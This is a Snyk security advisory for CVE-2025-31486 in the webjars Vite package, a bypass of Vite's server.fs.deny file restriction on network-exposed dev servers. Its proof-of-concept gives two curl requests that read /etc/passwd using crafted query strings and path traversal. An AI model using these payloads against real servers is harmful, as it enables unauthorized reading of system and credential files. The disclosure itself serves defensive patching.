Incorrect Authorization Affecting org.webjars.npm:vite package, versions [0,]
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learning- Snyk IDSNYK-JAVA-ORGWEBJARSNPM-9653017
- published4 Apr 2025
- disclosed3 Apr 2025
- creditHSwift, Iuhsssss, kikayli, sw0rd1ight, do9gy-msec, Onetpaer
Introduced: 3 Apr 2025
NewCVE-2025-31486 (opens in a new tab)How to fix?
A fix was pushed into the master branch but not yet published.
Overview
org.webjars.npm:vite is a Native-ESM powered web dev build tool
Affected versions of this package are vulnerable to Incorrect Authorization via the bypass of the server.fs.deny restriction. An attacker can access restricted files by appending ?.svg with ?.wasm?init or with sec-fetch-dest: script header to the requests.
Note:
This is only exploitable if the file is smaller than the build.assetsInlineLimit (default: 4kB), when using Vite 6.0+ and when the Vite dev server is explicitly exposed to the network (using --host or server.host config option.
PoC
npm create vite@latest
cd vite-project/
npm install
npm run dev
send request to read etc/passwd
curl 'http://127.0.0.1:5173/etc/passwd?.svg?.wasm?init'
curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'